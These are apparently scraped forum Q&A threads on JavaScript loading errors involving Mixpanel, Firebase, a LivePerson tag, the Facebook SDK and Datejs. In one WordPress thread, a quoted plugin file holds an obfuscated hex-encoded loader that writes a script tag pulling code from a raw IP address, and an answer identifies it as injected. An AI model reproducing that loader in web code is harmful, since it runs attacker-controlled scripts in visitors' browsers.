I'm new to mixpanel and JS, and would like to know why is my script not working...
Any ideas?
<script>
$('#tp_end_result').hover(function () {
mixpanel.track("Hover Spot");
console.log("Funciona");
});
</script>
Thanks
The javascript code above is perfectly fine.
As you are not seeing any tracking for mixpanel, probably you might see the initialization code.
Just a quick recap, we need to import JS library into the HEAD tags, at the end of library, there is code of initialization of mixpanel:
mixpanel.init("YOUR TOKEN");
Here "YOUR TOKEN" should be replaced with token of respective project from you account. [See attached screenshot]
Please put your comments if still not works for you
Related
I am making a simple login page with JavaScript and Firebase except I keep coming across this error
Untaught TypeError: Firebase.database is not a function
After searching the internet and trying everything, I still have no results. The problem persists on the signUp page when signing up for an account.
I have got to the point where the account will be made and can be seen, but in my real-time database in Firebase console nothing shows up where I am trying to write in the database that I want the inputted ‘firstName’ there.
I have attached the code below:
—Login
https://jsfiddle.net/jLf5q34o/
—SignUp
https://jsfiddle.net/dq8o1tLv/
—I also have the full project online at:
https://inputgeo.com/experiment/
I would appreciate any help from anyone. If I haven’t explained this very well please let me know and I will try to explain this again.
Checking the script requests, you haven't imported firebase-database
<script src="https://www.gstatic.com/firebasejs/7.15.0/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.15.0/firebase-analytics.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.15.0/firebase-storage.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.15.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.15.0/firebase-database.js"></script>
We are trying to use an inline tag in the head of a website for a 3rd party tool (live person chat), and are getting a pretty strange error:
Cannot find module './util/EventsUtil'
Currently we are loading the tag in the same way this post suggested:
https://forums.meteor.com/t/how-to-add-a-script-to-head-in-1-3/20295/11
Using this package:
https://github.com/meteorhacks/meteor-inject-initial/
It does load the script, and the script actually works, until you refresh the page...that is when the error occurs.
Here is the server code:
Inject.rawModHtml('inject a script at the beginning of the head', function(html) {
return html.replace("<head>", "<head> <script type='text/javascript'>window.lpTag=window.lpTag||{},'undefined'==typeof window.lpTag._tagCount?(window.lpTag={wl:lpTag.wl||null,scp:lpTag.scp||null,site:'siteidnumber'||'',section:lpTag.section||'',tagletSection:lpTag.tagletSection||null,autoStart:lpTag.autoStart!==!1,ovr:lpTag.ovr||{},_v:'1.10.0',_tagCount:1,protocol:'https:',events:{bind:function(t,e,i){lpTag.defer(function(){lpTag.events.bind(t,e,i)},0)},trigger:function(t,e,i){lpTag.defer(function(){lpTag.events.trigger(t,e,i)},1)}},defer:function(t,e){0===e?(this._defB=this._defB||[],this._defB.push(t)):1===e?(this._defT=this._defT||[],this._defT.push(t)):(this._defL=this._defL||[],this._defL.push(t))},load:function(t,e,i){var n=this;setTimeout(function(){n._load(t,e,i)},0)},_load:function(t,e,i){var n=t;t||(n=this.protocol+'//'+(this.ovr&&this.ovr.domain?this.ovr.domain:'lptag.liveperson.net')+'/tag/tag.js?site='+this.site);var o=document.createElement('script');o.setAttribute('charset',e?e:'UTF-8'),i&&o.setAttribute('id',i),o.setAttribute('src',n),document.getElementsByTagName('head').item(0).appendChild(o)},init:function(){this._timing=this._timing||{},this._timing.start=(new Date).getTime();var t=this;window.attachEvent?window.attachEvent('onload',function(){t._domReady('domReady')}):(window.addEventListener('DOMContentLoaded',function(){t._domReady('contReady')},!1),window.addEventListener('load',function(){t._domReady('domReady')},!1)),'undefined'===typeof window._lptStop&&this.load()},start:function(){this.autoStart=!0},_domReady:function(t){this.isDom||(this.isDom=!0,this.events.trigger('LPT','DOM_READY',{t:t})),this._timing[t]=(new Date).getTime()},vars:lpTag.vars||[],dbs:lpTag.dbs||[],ctn:lpTag.ctn||[],sdes:lpTag.sdes||[],hooks:lpTag.hooks||[],identities:lpTag.identities||[],ev:lpTag.ev||[]},lpTag.init()):window.lpTag._tagCount+=1;</script>");
});
We have tested the script (we removed our clients account number from the script for this post) in a static HTML page and it works fine. We just cant seem to identify what it is that is throwing the error and why it will work until the page is refreshed.
Any help would be GREATLY appreciated! :)
All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.
I want to use the facebook share plugin for the web app I am working on, I only need the basic share button. The app uses requirejs for loading javascript, so I followed the how-to and changed the facebook api url to the one found in code snippets on facebook docs. This doesn't work and the sdk throws error invalid version specified. This is how my files look.
main.js
require.config({
shim: {
'facebookshare' : {
exports: 'FB'
}
},
paths: {
'facebookshare': "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.0"
}
});
require(['fb']);
fb.js
define(['facebookshare'], function(facebook) {
document.body.innerHTML += '<div class="fb-share-button" data-href="https://developers.facebook.com/docs/plugins/" data-layout="button"></div>';
});
What is the best way of including only the facebook share plugin with requirejs?
I referred following questions, but none of them provide a concrete solution. Uncaught error: no version specified and wrong version error.
I was also getting the following error even when using the standard embed code that Facebook provides.
Uncaught Error: invalid version specified in sdk.js
The first thing to check is that you're including the version number in your FB.init call:
FB.init({
appId: 'your-app-id',
xfbml: true,
version: 'v2.8'
});
The now-outdated fix...
...was to make a simple tweak and changed the path:
From: //connect.facebook.net/en_GB/sdk.js
To: //connect.facebook.net/en_GB/all.js
And this fixed the error. Unfortunately I have no idea why. :-(
Consider including a version parameter to the src property as shown below:
js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.8"
The default template on Like button for Web is incomplete; upon clicking on the "Get Code" button Facebook will generate you a complete template with the version parameter included.
Minor heads up, I had to change
js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.8";
to
js.src = "//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.8";
I ran into this problem when I was changing my file from HTTP to HTTPS. The reason was the lack of specific "HTTP:" or "HTTPS:" in the following code:
<div class="fb-comments" data-width="100%" data-href="//amazingjokes.com/image/2017-03-17/A_good_sign_for_St__Patricks_day" data-num-posts="5"
data-colorscheme="light">
</div>
normally the '//domain.com' copies the scheme we're on, so when you're on htts://example.com a link to '//example2.com' will seen as 'https://example2.com'. For the 'fb-comments' you'll need to specifically state HTTP or HTTPS for the data-href.
Also note that 'https://example.com' according to facebook is another page than 'http://example.com'. So if you upgrade your site for SSL you will lose all past comments if you change the URL in the social plugins from HTTP to HTTPS... The solution I chose was to use HTTP for all older posts, and HTTPS for everything recent
There is (or was) an error in the source code on the Facebook Share Button Configurator! page. If you use the Share Configurator on the page, it should work fine. However there is a code example on the page that says 'Copy & paste the code example to your website...', which is bad code and will result in the button not being visible on your page. The javascript console will show 'Error: invalid version specified'.
I opened a ticket with Facebook in June of 2018 regarding this issue. They have acknowledged that it's a problem with the code and promised to fix the code example, but as of June 17, 2018 the bad code is still there on the site.
Hope this helps.
I changed the original sdk.js to all.js that resolved my problem :
<div id="fb-root"></div>
<script async defer crossorigin="anonymous" src="https://connect.facebook.net/fr_FR/all.js"></script>
And carefully change your language for me it's french 'fr_FR'
I took my original script from here : https://developers.facebook.com/docs/plugins/page-plugin/
I was looking through some pages when I stumbled across this open source JavaScript date library: Datejs. Now I've been trying to use it but everytime I try any function like:
$(function() { Date.today().toLongDateString() } );
or even only
Date.today().toLongDateString()
withing tags, I get errors when the webpage loads, it tells me Date.today() is not a function but it appears as such in the documentation I've been at this for like almost 2 hours now xD it's driving me crazy and I know I just probably overlooked something...
I loaded the:
<script type="text/javascript" src="assets/js/dia_hora/date_es-MX.js"></script>
Are your script path and filename correct? You wrote:
<script type="text/javascript" src="assets/js/dia_hora/date_es-MX.js"></script>
But according to the "Getting Started" page of the project, it should be:
<script type="text/javascript" src="assets/js/dia_hora/date-es-MX.js"></script>
There are two hyphens in the original file: "date-es-MX.js", not an underscore. Or did you rename the file?
Check if the file correctly loads using Firefox Firebug (network tab) or FiddlerTool if you're using Internet Explorer.
Sounds like the script is not getting loaded. Put an alert('hello'); at the beginning of the script and see if you get that popup when the page loads.
Your path to the javascript file is incorrect.
OR
You have a syntax error in a Javascript file that is being loaded before this one. I believe the browser will stop trying to interpret the rest of the Javascript as soon as an error occurs.
Try having the JS Console open in Chrome or Firefox or Safari - you will get a much better idea of what the error is. JS Console has saved me hours or even days - I remember how I used to get frustrated about not being able to tell what happened when JS silently failed.
But with JS Console it's never a silent fail - you get some hint in the error message however small.